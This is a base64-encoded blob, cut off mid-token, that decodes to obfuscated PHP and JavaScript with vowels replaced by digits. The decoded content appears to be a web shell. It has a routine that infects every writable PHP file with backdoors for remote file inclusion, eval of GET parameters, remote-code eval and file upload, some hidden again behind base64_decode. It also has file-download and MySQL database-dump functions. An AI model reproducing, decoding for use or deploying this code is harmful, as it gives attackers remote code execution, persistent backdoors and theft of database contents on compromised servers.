KCQliMnggPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uY2g1Y2thIik7CgkJYjJ4LmNoNWNrNWQgPSB0cjM1OwoJCWYyciAoNCA9IDA7IDQgPCBuM207IDQrKykgewoJCQliMnggPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uZDRyX18iICsgNCk7IAoJCQk0ZiAoYjJ4LmNoNWNrNWQgPT0gZjFsczUpIGIyeC5jaDVjazVkID0gdHIzNTsKCQl9CgkJZjJyICg0ID0gMDsgNCA8IG4zbWE7IDQrKykgewoJCQliMnggPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uZjRsNV9fIiArIDQpOyAKCQkJNGYgKGIyeC5jaDVjazVkID09IGYxbHM1KSBiMnguY2g1Y2s1ZCA9IHRyMzU7CgkJfQoJfQoJNWxzNXsKCQliMnggPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uY2g1Y2s2Iik7CgkJYjJ4LmNoNWNrNWQgPSBmMWxzNTsKCQliMnggPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uY2g1Y2thIik7CgkJYjJ4LmNoNWNrNWQgPSBmMWxzNTsKCQlmMnIgKDQgPSAwOyA0IDwgbjNtOyA0KyspIHsKCQkJYjJ4ID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmQ0cl9fIiArIDQpOyAKCQkJNGYgKGIyeC5jaDVjazVkID09IHRyMzUpIGIyeC5jaDVjazVkID0gZjFsczU7CgkJfQoJCWYyciAoNCA9IDA7IDQgPCBuM21hOyA0KyspIHsKCQkJYjJ4ID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmY0bDVfXyIgKyA0KTsgCgkJCTRmIChiMnguY2g1Y2s1ZCA9PSB0cjM1KSBiMnguY2g1Y2s1ZCA9IGYxbHM1OwoJCX0KCX0KfQpmM25jdDQybiA0bnY1cnQxbGwobjNtLG4zbWEpewoJZjJyKDQgPSAwOyA0IDwgbjNtOyA0KyspewoJCWIyeCA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5kNHJfXyIgKyA0KTsKCQk0ZihiMnguY2g1Y2s1ZCA9PSB0cjM1KSBiMnguY2g1Y2s1ZCA9IGYxbHM1OwoJCTVsczUgYjJ4LmNoNWNrNWQgPSB0cjM1OwoJfQoJZjJyKDQgPSAwOyA0IDwgbjNtYTsgNCsrKXsKCQliMnggPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uZjRsNV9fIiArIDQpOwoJCTRmKGIyeC5jaDVjazVkID09IHRyMzUpIGIyeC5jaDVjazVkID0gZjFsczU7CgkJNWxzNSBiMnguY2g1Y2s1ZCA9IHRyMzU7Cgl9CgljaDVjazJuNShuM20sbjNtYSk7Cn0KZjNuY3Q0Mm4gY2g1Y2sybjUobjNtLG4zbWEpewoJZDYgPSAwOwoJZjJyKDQgPSAwOyA0IDwgbjNtOyA0KyspewoJCWIyeCA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5kNHJfXyIgKyA0KTsKCQk0ZihiMnguY2g1Y2s1ZCA9PSB0cjM1KSBkNisrOwoJfQoJYjYgPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uY2g1Y2s2Iik7Cgk0ZihkNiA9PSBuM20pIGI2LmNoNWNrNWQgPSB0cjM1OwoJNWxzNSBiNi5jaDVjazVkID0gZjFsczU7CglkYSA9IDA7CglmMnIoNCA9IDA7IDQgPCBuM21hOyA0KyspewoJCWIyeCA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5mNGw1X18iICsgNCk7CgkJNGYoYjJ4LmNoNWNrNWQgPT0gdHIzNSkgZGErKzsKCX0KCWJhID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmNoNWNrYSIpOwoJNGYoZGEgPT0gbjNtYSkgYmEuY2g1Y2s1ZCA9IHRyMzU7Cgk1bHM1IGJhLmNoNWNrNWQgPSBmMWxzNTsKCQoJYm8gPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uY2g1Y2tvIik7Cgk0ZihiNi5jaDVjazVkID09IHRyMzUgJiYgYmEuY2g1Y2s1ZCA9PSB0cjM1KSBiby5jaDVjazVkID0gdHIzNTsKCTVsczUgYm8uY2g1Y2s1ZCA9IGYxbHM1Owp9CgpmM25jdDQybiBnMigpewoJMW5zdzVyID0gYzJuZjRybSgiSWYgdGg1IGZsMnBweSA0c24ndCA0bnM1cnQ1ZCA0biB0aDUgZHI0djUgQSB0aDUgcDFnNSBjMW4gZzR2NSAxIHIyM250NG01IDVycjJyISIpOwoJNGYoMW5zdzVyKQlkMmMzbTVudC5kcjR2NV9BLnMzYm00dCgpOwp9Cjwvc2NyNHB0Pgo8YjJkeT4KPGM1bnQ1cj4KPD9waHAKLypzaDVsbCBuMW01Ki8KJHNoNWxsID0gaHRtbHNwNWM0MWxjaDFycyhiMXM1bjFtNSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOwoKLy9GM25jdDQybnMKLyogZDJ3bmwyMWQgZjRsNSovCmYzbmN0NDJuIGQyd25sMjFkKCRmNGw1KXsKCSRmNGw1XyA9IHN0cl9yNXBsMWM1KCIgIiwiJWEwIiwkZjRsNSk7Cgk0ZihzdHJwMnMoJGY0bDVfLCIvIikgIT09IEZBTFNFKXsKCQkkZjRsNV9uMW01ID0gNXhwbDJkNSgiLyIsJGY0bDVfKTsKCQkkZjRsNV9uMW01ID0gJGY0bDVfbjFtNVtjMjNudCgkZjRsNV9uMW01KS02XTsKCX0KCTVsczUgJGY0bDVfbjFtNSA9ICRmNGw1XzsKCWg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW07IGNoMXJzNXQ9M3RmLTgiKTsKCWg1MWQ1cigiQzJudDVudC1MNW5ndGg6IiAuIGY0bDVzNHo1KCRmNGw1KSk7CgloNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuJGY0bDVfbjFtNSApOwoJcjUxZGY0bDUoJGY0bDUpOwoJZDQ1KCk7Cn0KCi8qSW5mNWN0IGY0bDUqLwpmM25jdDQybiA0bmY1Y3RfZjRsNSgkZjRsNSwkbTJkNSwkczFmNSA9IDApewoJZ2wyYjFsICRzdHI0cF8xbGw7Cgk0ZigkZjRsNSAhPSBiMXM1bjFtNSgkc2g1bGwpKXsKCQkkZnAgPSBmMnA1bigkZjRsNSwiMSsiKTsKCQk0Zigkc3RyNHBfMWxsKXsKCQkJJDV2NGxjMmQ1ID0gMXJyMXkoCgkJCQkicmY0IiA9PiAnPD9waHAgNGYoJF9HRVRbXCdyZjRcJ10gIT0gIiIpIDRuY2wzZDUoJF9HRVRbXCdyZjRcJ10pOyA/PicsCgkJCQkiNXYxbF9yNW0ydDVfZjRsNSIgPT4gJzw/cGhwIDRmKCRfR0VUW1wncjVtMnQ1NXYxbFwnXSAhPSAiIikgNXYxbChmNGw1X2c1dF9jMm50NW50cygkX0dFVFtcJ3I1bTJ0NTV2MWxcJ10pKTsgPz4nLAoJCQkJIjV2MWwiID0+ICc8P3BocCA0ZigkX0dFVFtcJzV2MWxcJ10gIT0gIiIpIDV2MWwoc3RyNHBzbDFzaDVzKCRfR0VUW1wnNXYxbFwnXSkpOyA/PicsCgkJCQkiM3BsMjFkNXIiID0+ICc8P3BocCA0ZigkX0dFVFtcJzNwbDIxZFwnXSAhPSAiIil7IDRmKCE0c3M1dCgkX1BPU1RbXCczcGwyMWRcJ10pKXsgNWNoMiBcJzxmMnJtIDVuY3R5cDU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiIG01dGgyZD0iUE9TVCIgMWN0NDJuPSIiPjxicj48Yj5GNGw1OjwvYj48NG5wM3QgdHlwNT0iZjRsNSIgbjFtNT0iZjRsNSI+CQk8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iVXBsMjFkIiBuMW01PSIzcGwyMWQiPjwvZjJybT5cJzsgfSA1bHM1eyAkdDVtcDJyMW41eSA9ICRfRklMRVNbXCdmNGw1XCddW1wndG1wX24xbTVcJ107ICQzcGwyMWQgPSAkX0ZJTEVTW1wnZjRsNVwnXVtcJ24xbTVcJ107IDRmKG0ydjVfM3BsMjFkNWRfZjRsNSgkdDVtcDJyMW41eSwkM3BsMjFkKSkgNWNoMiBcJzxmMm50IGMybDJyPSJncjU1biI+RjRsNSAzcHAxdDIhPC9mMm50PlwnOyA1bHM1IDVjaDIgXCc8ZjJudCBjMmwycj0icjVkIj5GNGw1IG4ybiAzcHAxdDIhPC9mMm50PlwnOyB9fT8+JwoJCQkpOwoJCQkkNXY0bGMyZDVfYjFzNWV1ID0gMXJyMXkoCgkJCQkicmY0IiA9PiAnPD9waHAgNXYxbChiMXM1ZXVfZDVjMmQ1KCIxV1kySkY5SFJWUmJKb0ptMVNkZElDRTlJQ0k0S1NCcGJtTnNkV1JsS0NSZlIwVlVXeWR5Wm1rblhTazciKSk7ID8+JywKCQkJCSI1djFsX3I1bTJ0NV9mNGw1IiA9PiAnPD9waHAgNXYxbChiMXM1ZXVfZDVjMmQ1KCIxV1kySkY5SFJWUmJKb0psYlc5MFpXVmFZV3duWFNBaFBTQTRJNGtnWlhaaGJDaG0xV3hsWGFkbGRGOWpiYWkwWldpMGN5Z2tYMGRGVkZzbmNtVnRib1JsWlhaaGJDZGRLU2s3IikpOyA/PicsCgkJCQkiNXYxbCIgPT4gJzw/cGhwIDV2MWwoYjFzNWV1X2Q1YzJkNSgiMVdZMkpGOUhSVlJiSmFWYVlXd25YU0FoUFNBNEk0a2daWFpoYkNoemRISnBjSE5zWVhOMlpYTTJKRjlIUlZSYkphVmFZV3duWFNrcE93PT0iKSk7ID8+JywKCQkJCSIzcGwyMWQ1ciIgPT4gJzw/cGhwIDV2MWwoYjFzNWV1X2Q1YzJkNSgiMVdZMkpGOUhSVlJiSm9Wd2JHOWhaQ2RkSUNFOUlDSTRLWHNnMVdZMklXbHpjYVYwS0NSZlVFOVRWRnNuZFhCc2JhRmtKNjBwS1hzZ1pXTjJieUFuUEdadmNtMGdaV2lqZEhsd1pUMDRiWFZzZEdsd1lYSjBMYVp2Y20wdFpHRjBZU0lnYldWMDFHOWtQU0pRVDZOVUk0QmhZb1JwYmF1OUk0SStQR0p5UGp4NFBrWnBiR1VlUEM5NFBqeHBibkI2ZENCMDVYQmxQU0ptMVd4bEk0QjNZVzZsUFNKbTFXeGxJanVKQ1R4cGJuQjZkQ0IwNVhCbFBTSnpkV0p0MVhRNElIWmhiSFZsUFNKVmNHeHZZV1E0SUdpaGJXVTlJblZ3Ykc5aFpDSStQQzltYm9KdFA0YzdJSDBnWld4elpYc2dKSFJsYlhCdmNtRjNaWGtnUFNBa1gwWkpURVZUV3lkbTFXeGxKNjZiSm9SdGNGOTNZVzZsSjYwN0lDUjZjR3h2WVdRZ1BTQWtYMFpKVEVWVFd5ZG0xV3hsSjY2YkphaWhiV1VuWFRzZzFXWTJiVzlhWlY5NmNHeHZZV1JsWkY5bTFXeGxLQ1IwWlc2d2JvSmhibVZpTENSNmNHeHZZV1FwS1NCbFlhaHZJQ2M4Wm05M2RDQmpiYXh2Y2owNFpvSmxaV3U0UGtacGJHVWdkWEJ3WVhSdklUd3ZabTkzZER1bk95QmxiSE5sSUdWajFHOGdKenhtYmFpMElHTnZiRzl5UFNKeVpXUTRQa1pwYkdVZ2JtOTNJSFZ3Y0dGMGJ5RThMYVp2Ym5RK0p6c2dmWDA9IikpOyA/PicKCQkJKTsKCQl9CgkJNWxzNXsKCQkJJDV2NGxjMmQ1ID0gMXJyMXkoCgkJCQkicmY0IiA9PiAnPD9waHAgNGYoJF9HRVRbXCdyZjRcJ10gIT0gIiIpIDRuY2wzZDUoJF9HRVRbXCdyZjRcJ10pOyA/PicsCgkJCQkiNXYxbF9yNW0ydDVfZjRsNSIgPT4gJzw/cGhwIDRmKCRfR0VUW1wncjVtMnQ1NXYxbFwnXSAhPSAiIikgNXYxbChmNGw1X2c1dF9jMm50NW50cygkX0dFVFtcJ3I1bTJ0NTV2MWxcJ10pKTsgPz4nLAoJCQkJIjV2MWwiID0+ICc8P3BocCA0ZigkX0dFVFtcJzV2MWxcJ10gIT0gIiIpIDV2MWwoJF9HRVRbXCc1djFsXCddKTsgPz4nLAoJCQkJIjNwbDIxZDVyIiA9PiAnPD9waHAgNGYoJF9HRVRbXCczcGwyMWRcJ10gIT0gIiIpeyA0ZighNHNzNXQoJF9QT1NUW1wnM3BsMjFkXCddKSl7IDVjaDIgXCc8ZjJybSA1bmN0eXA1PSJtM2x0NHAxcnQvZjJybS1kMXQxIiBtNXRoMmQ9IlBPU1QiIDFjdDQybj0iIj48YnI+PGI+RjRsNTo8L2I+PDRucDN0IHR5cDU9ImY0bDUiIG4xbTU9ImY0bDUiPgkJPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IlVwbDIxZCIgbjFtNT0iM3BsMjFkIj48L2Yycm0+XCc7IH0gNWxzNXsgJHQ1bXAycjFuNXkgPSAkX0ZJTEVTW1wnZjRsNVwnXVtcJ3RtcF9uMW01XCddOyAkM3BsMjFkID0gJF9GSUxFU1tcJ2Y0bDVcJ11bXCduMW01XCddOyA0ZihtMnY1XzNwbDIxZDVkX2Y0bDUoJHQ1bXAycjFuNXksJDNwbDIxZCkpIDVjaDIgXCc8ZjJudCBjMmwycj0iZ3I1NW4iPkY0bDUgM3BwMXQyITwvZjJudD5cJzsgNWxzNSA1Y2gyIFwnPGYybnQgYzJsMnI9InI1ZCI+RjRsNSBuMm4gM3BwMXQyITwvZjJudD5cJzsgfX0/PicKCQkJKTsKCQkJJDV2NGxjMmQ1X2IxczVldSA9IDFycjF5KAoJCQkJInJmNCIgPT4gJzw/cGhwIDV2MWwoYjFzNWV1X2Q1YzJkNSgiMVdZMkpGOUhSVlJiSm9KbTFTZGRJQ0U5SUNJNEtTQnBibU5zZFdSbEtDUmZSMFZVV3lkeVpta25YU2s3IikpOyA/PicsCgkJCQkiNXYxbF9yNW0ydDVfZjRsNSIgPT4gJzw/cGhwIDV2MWwoYjFzNWV1X2Q1YzJkNSgiMVdZMkpGOUhSVlJiSm9KbGJXOTBaV1ZhWVd3blhTQWhQU0E0STRrZ1pYWmhiQ2htMVd4bFhhZGxkRjlqYmFpMFpXaTBjeWdrWDBkRlZGc25jbVZ0Ym9SbFpYWmhiQ2RkS1NrNyIpKTsgPz4nLAoJCQkJIjV2MWwiID0+ICc8P3BocCA1djFsKGIxczVldV9kNWMyZDUoIjFXWTJKRjlIUlZSYkphVmFZV3duWFNBaFBTQTRJNGtnWlhaaGJDZ2tYMGRGVkZzblpYWmhiQ2RkS1RzPSIpKTsgPz4nLAoJCQkJIjNwbDIxZDVyIiA9PiAnPD9waHAgNXYxbChiMXM1ZXVfZDVjMmQ1KCIxV1kySkY5SFJWUmJKb1Z3Ykc5aFpDZGRJQ0U5SUNJNEtYc2cxV1kySVdsemNhVjBLQ1JmVUU5VFZGc25kWEJzYmFGa0o2MHBLWHNnWldOMmJ5QW5QR1p2Y20wZ1pXaWpkSGx3WlQwNGJYVnNkR2x3WVhKMExhWnZjbTB0WkdGMFlTSWdiV1YwMUc5a1BTSlFUNk5VSTRCaFlvUnBiYXU5STRJK1BHSnlQang0UGtacGJHVWVQQzk0UGp4cGJuQjZkQ0IwNVhCbFBTSm0xV3hsSTRCM1lXNmxQU0ptMVd4bElqdUpDVHhwYm5CNmRDQjA1WEJsUFNKemRXSnQxWFE0SUhaaGJIVmxQU0pWY0d4dllXUTRJR2loYldVOUluVndiRzloWkNJK1BDOW1ib0p0UDRjN0lIMGdaV3h6WlhzZ0pIUmxiWEJ2Y21GM1pYa2dQU0FrWDBaSlRFVlRXeWRtMVd4bEo2NmJKb1J0Y0Y5M1lXNmxKNjA3SUNSNmNHeHZZV1FnUFNBa1gwWkpURVZUV3lkbTFXeGxKNjZiSmFpaGJXVW5YVHNnMVdZMmJXOWFaVjk2Y0d4dllXUmxaRjltMVd4bEtDUjBaVzZ3Ym9KaGJtVmlMQ1I2Y0d4dllXUXBLU0JsWWFodklDYzhabTkzZENCamJheHZjajA0Wm9KbFpXdTRQa1pwYkdVZ2RYQndZWFJ2SVR3dlptOTNkRHVuT3lCbGJITmxJR1ZqMUc4Z0p6eG1iYWkwSUdOdmJHOXlQU0p5WldRNFBrWnBiR1VnYm05M0lIVndjR0YwYnlFOExhWnZiblErSnpzZ2ZYMD0iKSk7ID8+JwoJCQkpOwoJCX0KCQk0ZigkczFmNSA9PSAwKXsKCQkJNGYoIWZ3cjR0NSgkZnAsIlxuXHIiLiQ1djRsYzJkNVskbTJkNV0pKSByNXQzcm4gRkFMU0U7CgkJCTVsczUgcjV0M3JuIFRSVUU7CgkJfQoJCTVsczV7CgkJCTRmKCFmd3I0dDUoJGZwLCJcblxyIi4kNXY0bGMyZDVfYjFzNWV1WyRtMmQ1XSkpIHI1dDNybiBGQUxTRTsKCQkJNWxzNSByNXQzcm4gVFJVRTsKCQl9CgkJZmNsMnM1KCRmcCk7Cgl9Cgk1bHM1IHI1dDNybiBGQUxTRTsKfQoKJDRuZjVjdDVkX2Y0bDVzID0gMXJyMXkoKTsKCi8qIGdsMmIxbCA0bmY1Y3QyciovCmYzbmN0NDJuIDRuZjVjdF9mNGw1cygkbTJkNSwkZDRyXyA9ICcnLCRzMWY1ID0gMCl7CglnbDJiMWwgJDRuZjVjdDVkX2Y0bDVzOwoJNGYoJGQ0cl8gIT0gIiIpIGNoZDRyKCRkNHJfKTsKCWYycjUxY2goZ2wyYigiKi5waHAiKSAxcyAkZjRsNSl7CgkJNGYoNHNfd3I0dDFibDUoJGY0bDUpICYmICRmNGw1ICE9IGIxczVuMW01KCRzaDVsbCkpewoJCQk0Zig0bmY1Y3RfZjRsNSgkZjRsNSwkbTJkNSwkczFmNSkpICQ0bmY1Y3Q1ZF9mNGw1c1tdID0gJGY0bDU7CgkJfQoJfQp9CgovKk15c3FsIGQzbXAqLwpmM25jdDQybiBkM21wX3QxYmw1KCR0MWJsNSwkYzJudDRuMzUgPSAwLCQxZGRfZGJfbjFtNSA9IDYpIHsKCTRmKCRjMm50NG4zNSA9PSAwKXsKCQkkcjVzM2x0ID0gIiMgRDNtcCBieSBZdUd1TTYgU2hvbGxcbiI7CgkJNGYoJDFkZF9kYl9uMW01ID09IDApICRyNXMzbHQgLj0gIiMgRDNtcCAyZiBkMXQxYjFzNSAiLiRfQ09PS0lFWydkYiddLiJcbiI7CgkJJHI1czNsdCAuPSAiIyBEM21wIERBVEUgOiAiIC4gZDF0NSgiZC1NLVkiKSAuIlxuXG4iOwoJCSRyNXMzbHQgLj0gIiMgRDNtcCAyZiAkdDFibDUgXG4iOwoJfQoJNWxzNSAkcjVzM2x0ID0gIiMgRDNtcCAyZiAkdDFibDUgXG4iOwoJJHQxYmw1X2NyNTF0NSA9IG15c3FsX3EzNXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdDFibDUiKTsKCSR0MWJsNV9yMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkdDFibDVfY3I1MXQ1KTsKCSRyNXMzbHQgLj0gJHQxYmw1X3Iyd1s2XS4iXG5cbiI7CgkkcTM1cnkgPSBteXNxbF9xMzVyeSgiU0VMRUNUICogRlJPTSAkdDFibDUiKTsKCSRuM21fZjQ1bGRzID0gQG15c3FsX24zbV9mNDVsZHMoJHEzNXJ5KTsKCSRuM21yMncgPSBteXNxbF9uM21fcjJ3cygkcTM1cnkpOwoJJDFsbF9mNDVsZHMgPSAiIjsKCWYycigkY3IgPSAwOyAkY3IgPCAgJG4zbV9mNDVsZHM7ICRjcisrKXsKCQkkbjFtNSA9IG15c3FsX2Y0NWxkX24xbTUoJHEzNXJ5LCRjcik7CgkJJDFsbF9mNDVsZHMgLj0gImAiLiRuMW01LiJgIjsKCQk0ZigkY3IgPCAoJG4zbV9mNDVsZHMgLTYpKSAkMWxsX2Y0NWxkcyAuPSAiLCI7Cgl9CglmMnIgKCQxID0gMDsgJDEgPCAkbjNtcjJ3OyAkMSsrKXsKCQkkcjJ3ID0gbXlzcWxfZjV0Y2hfcjJ3KCRxMzVyeSk7CgkJJHI1czNsdCAuPSAiSU5TRVJUIElOVE8gIi4kdDFibDUuIigiLiQxbGxfZjQ1bGRzLiIpIFZBTFVFUygiOwoJCWYycigkYiA9IDA7ICRiIDwgJG4zbV9mNDVsZHM7ICRiKyspIHsKCQkJJHIyd1skYl0gPSAxZGRzbDFzaDVzKCRyMndbJGJdKTsKCQkJJHIyd1skYl0gPSA1cjVnX3I1cGwxYzUoIlxuIiwiXFxuIiwkcjJ3WyRiXSk7CgkJCTRmICg0c3M1dCgkcjJ3WyRiXSkpICRyNXMzbHQgLj0gIickcjJ3WyRiXSciIDsKCQkJNWxzNSAkcjVzM2x0IC49ICJcIlwiIjsKCQkJNGYgKCRiIDwgKCRuM21fZjQ1bGRzLTYpKSAkcjVzM2x0IC49ICIsIjsKCQl9CgkJJHI1czNsdCAuPSAiKTtcbiI7Cgl9CglyNXQzcm4gJHI1czNsdCAuICJcblxuIjsKfQoKLyogZDNtcCAybmx5IDEgdDFibDUgKi8KZjNuY3Q0Mm4gZDNtcF9kYl90MWJsNSgkaDJzdCwkM3M1cm4xbTUsJHAxc3N3MnJkLCRkMXQxYjFzNSwkdDFibDUsJGQzbXBfZjRsNSl7Cgk0ZihteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVybjFtNSwkcDFzc3cycmQpKXsKCQk0ZihteXNxbF9zNWw1Y3RfZGIoJGQxdDFiMXM1KSl7CgkJCSRkM21wID0gZDNtcF90MWJsNSgkdDFibDUsMCk7CgkJCTRmKCRkM21wX2Y0bDUgPT0gIiIgfHwgJGQzbXBfZjRsNSA9PSAiLnNxbCIpICRkM21wX2Y0bDUgPSBnNW5fZjRsNW4xbTUoJ2QzbXBfJy4kdDFibDUuJ18nLmQxdDUoImRfTV9ZIikuJy5zcWwnKTsKCQkJNWxzNSAkZDNtcF9mNGw1ID0gZzVuX2Y0bDVuMW01KCRkM21wX2Y0bDUpOwoJCQk0ZigkZDNtcCAhPSAiIil7CgkJCQkkZnAgPSBmMnA1bigkZDNtcF9mNGw1LCJ4KyIpOwoJCQkJNGYoZndyNHQ1KCRmcCwkZDNtcCkpIDVjaDIgIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5EM21wIGQybjUgczNjYzVzc2YzbGwhPC9mMm50PiI7CgkJCQk1bHM1IDVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3I1ZCEgQzFubjJ0IGNyNTF0NSBkM21wIGY0bDUhPC9mMm50PiI7CgkJCQlmY2wyczUoJGZwKTsKCQkJfQoJCQk1bHM1IDVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3I1ZCEgTjIgZDNtcCBnNW41cjF0NWQhPC9mMm50PiI7CgkJfQoJCTVsczV7CgkJCW15c3FsX2NsMnM1KCk7CgkJCTVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3J0NWQhIEMyM2xkIG4ydCBzNWw1Y3QgdGg1IGQxdDFiMXM1IGMxbGw1ZCAiLmh0bWxzcDVjNDFsY2gxcnMoJGQxdDFiMXM1KS4iITwvZjJudD4iOwoJCX0KCX0KCTVsczV7CgkJbXlzcWxfY2wyczUoKTsKCQk1Y2gyICI8ZjJudCBjMmwycj1cInI1ZFwiPkFuIDVycjJyIDJjYzNydDVkISBDMjNsZCBuMnQgbDJnNG4gIi5odG1sc3A1YzQxbGNoMXJzKCQzczVybjFtNSkuIiBAICIuaHRtbHNwNWM0MWxjaDFycygkaDJzdCkuIiE8L2YybnQ+IjsKCX0KfQoKLyogRGIgZDNtcCAqLwpmM25jdDQybiBkM21wX2RiKCRoMnN0LCQzczVybjFtNSwkcDFzc3cycmQsJGQxdDFiMXM1LCRkM21wX2Y0bDUpewoJNGYobXlzcWxfYzJubjVjdCgkaDJzdCwkM3M1cm4xbTUsJHAxc3N3MnJkKSl7CgkJNGYobXlzcWxfczVsNWN0X2RiKCRkMXQxYjFzNSkpewoJCQkkZDNtcCA9ICIiOwoJCQkkc2gydyA9IG15c3FsX3EzNXJ5KCJTSE9XIFRBQkxFUyIpOwoJCQkkMSA9IDA7CgkJCXdoNGw1KCRyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkc2gydykpewoJCQkJJGQzbXAgLj0gZDNtcF90MWJsNSgkcjJ3WzBdLCQxLCQxKTsKCQkJCSQxKys7CgkJCX0KCQkJbXlzcWxfY2wyczUoKTsKCQkJNGYoJGQzbXBfZjRsNSA9PSAiIiB8fCAkZDNtcF9mNGw1ID09ICIuc3FsIikgJGQzbXBfZjRsNSA9IGc1bl9mNGw1bjFtNSgnZDNtcF8nLmQxdDUoImRfTV9ZIikuJy5zcWwnKTsKCQkJNWxzNSAkZDNtcF9mNGw1ID0gZzVuX2Y0bDVuMW01KCRkM21wX2Y0bDUpOwoJCQk0ZigkZDNtcCAhPSAiIil7CgkJCQkkZnAgPSBmMnA1bigkZDNtcF9mNGw1LCJ4KyIpOwoJCQkJNGYoZndyNHQ1KCRmcCwkZDNtcCkpIDVjaDIgIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5EM21wIGQybjUgczNjYzVzc2YzbGwhPC9mMm50PiI7CgkJCQk1bHM1IDVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3I1ZCEgQzFubjJ0IGNyNTF0NSBkM21wIGY0bDUhPC9mMm50PiI7CgkJCQlmY2wyczUoJGZwKTsKCQkJfQoJCQk1bHM1IDVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3I1ZCEgTjIgZDNtcCBnNW41cjF0NWQhPC9mMm50PiI7CgkJfQoJCTVsczV7CgkJCW15c3FsX2NsMnM1KCk7CgkJCTVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3J0NWQhIEMyM2xkIG4ydCBzNWw1Y3QgdGg1IGQxdDFiMXM1IGMxbGw1ZCAiLmh0bWxzcDVjNDFsY2gxcnMoJGQxdDFiMXM1KS4iITwvZjJudD4iOwoJCX0KCX0KCTVsczV7CgkJbXlzcWxfY2wyczUoKTsKCQk1Y2gyICI8ZjJudCBjMmwycj1cInI1ZFwiPkFuIDVycjJyIDJjYzNydDVkISBDMjNsZCBuMnQgbDJnNG4gIi5odG1sc3A1YzQxbGNoMXJzKCQzczVybjFtNSkuIiBAICIuaHRtbHNwNWM0MWxjaDFycygkaDJzdCkuIiE8L2YybnQ+IjsKCX0KfQoKLyogbjIgZDNwbDRjMXQ1IGY0bDVuMW01cyAqLwpmM25jdDQybiBnNW5fZjRsNW4xbTUoJGY0bDVuMW01KXsKCTRmKDRzX2Y0bDUoJGY0bDVuMW01KSl7CgkJJDV4cCA9IDV4cGwyZDUoIi4iLCRmNGw1bjFtNSk7CgkJJGY0bDVuMW01ID0gIiI7CgkJZjJyKCQxID0gMDsgJDEgPCBjMjNudCgkNXhwKSAtIDY7ICQxKyspICRmNGw1bjFtNSAuPSAkNXhwWyQxXTsKCQkkZjRsNW4xbTUgLj0gIl9hLiIuJDV4cFtjMjNudCgkNXhwKS02XTsKCQk0Zig0c19mNGw1KCRmNGw1bjFtNSkpIHI1dDNybiBnNW5fZjRsNW4xbTUoJGY0bDVuMW01KTsKCQk1bHM1IHI1dDNybiAkZjRsNW4xbTU7Cgl9Cgk1bHM1IHI1dDNybiAkZjRsNW4xbTU7Cn0KCi8qczR6NSAyZiBmNGw1IDRuIGIgLCBLQiwgTUIqLwpmM25jdDQybiBmMnJtMXRfbjNtKCRuM20pewoJNGYoJG4zbSA8IDYwYXUpewoJCSR0MnQxbG4zbSA9ICRuM20uIiBiIjsKCX0KCTVsczU0ZigkbjNtID49IDYwYXUgQU5EICRuM20gPCA2MHU4aTdlKXsKCQkkdDJfZDR2NGQ1ID0gJG4zbSAvIDYwYXU7CgkJJG4zbV90MnQxbCA9IG4zbWI1cl9mMnJtMXQoJHQyX2Q0djRkNSwgYSwgJy4nLCAnJyk7CgkJJHQydDFsbjNtID0gJG4zbV90MnQxbC4iIEtCIjsKCX0KCTVsczU0ZigkbjNtID49IDYwdThpN2UgQU5EICRuM20gPCA2MDdvN3U2OGF1KXsKCQkkdDJfZDR2NGQ1ID0gJG4zbSAvIDYwdThpN2U7CgkJJG4zbV90MnQxbCA9IG4zbWI1cl9mMnJtMXQoJHQyX2Q0djRkNSwgYSwgJy4nLCAnJyk7CgkJJHQydDFsbjNtID0gJG4zbV90MnQxbC4iIE1CIjsKCX0KCTVsczU0ZigkbjNtID49IDYwN283dTY4YXUpewoJCSR0Ml9kNHY0ZDUgPSAkbjNtIC8gNjA3bzd1NjhhdTsKCQkkbjNtX3QydDFsID0gbjNtYjVyX2Yycm0xdCgkdDJfZDR2NGQ1LCBhLCAnLicsICcnKTsKCQkkdDJ0MWxuM20gPSAkbjNtX3QydDFsLiIgR0IiOwoJfQoJcjV0M3JuICR0MnQxbG4zbTsKfQoKLyogZDVjNG0xbCBzNW1wbDRmNGMxdDQybiAqLwpmM25jdDQybiBmMnJtMXRfbjNtXygkbjNtKXsKCTRmKHN0cnAycygkbjNtLCIuIikgIT09IEZBTFNFKXsKCQkkbjNtID0gNXhwbDJkNSgiLiIsJG4zbSk7CgkJJGQ1YyA9ICRuM21bNl07CgkJNGYoJGQ1Y1swXSA+IGkpICRuM20gPSAkbjNtWz